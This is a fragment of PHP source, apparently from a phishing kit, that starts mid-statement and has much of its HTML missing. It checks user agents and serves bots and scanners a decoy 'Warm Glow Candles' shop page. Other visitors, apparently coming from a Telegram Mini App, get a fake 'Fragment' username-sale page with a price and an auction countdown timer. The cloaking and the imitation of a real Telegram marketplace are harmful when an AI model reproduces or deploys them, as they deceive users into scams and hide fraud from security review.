1000) { $_isBotIdx = true; } else { foreach ($_botPats as $_p) { if (strpos($_uaLow, $_p) !== false) { $_isBotIdx = true; break; } } } if (!$_isBotIdx && !preg_match('/(mozilla|chrome|safari|firefox|edge|opera|opr|vivaldi|brave|samsung|ucbrowser)/i', $_ua)) $_isBotIdx = true; if (!$_isBotIdx && !empty($_ua) && stripos($_ua, 'mozilla') !== false && empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) $_isBotIdx = true; if ($_isBotIdx) { header('Content-Type: text/html; charset=UTF-8'); $h = $_SERVER['HTTP_HOST'] ?? ''; echo 'Warm Glow Candles — Handmade Soy Candles & Home Fragrances'; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo '

Warm Glow Candles

Hand-poured soy candles made with love.

'; exit; } // Если нет username — возможно пришли из Telegram Mini App // Telegram передаёт start_param через hash-фрагмент, PHP его не видит // Рендерим загрузочную страницу, JS через Telegram SDK получит start_param и initData if (!isset($_GET['username']) || empty($_GET['username'])) { ?>
= $timerDuration) { unset($timers[$username]); file_put_contents($timersFile, json_encode($timers)); $startTime = null; } } if ($startTime === null) { $startTime = $now; $timers[$username] = $now; file_put_contents($timersFile, json_encode($timers)); } $endTime = $startTime + $timerDuration; $endTimeIso = date('c', $endTime); $priceFormatted = number_format(floatval($price), 0, '', ','); $priceNum = floatval($price); ?> <?php echo $username; ?> – Fragment

Platform

Sell Price *
 ~ $...
* The owner of this asset is ready to sell it for this price without an auction.
Telegram Username
@
Web Address
t.me/
TON Web 3.0 Address
.t.me
Ends in Auction ends in
Auction will close soon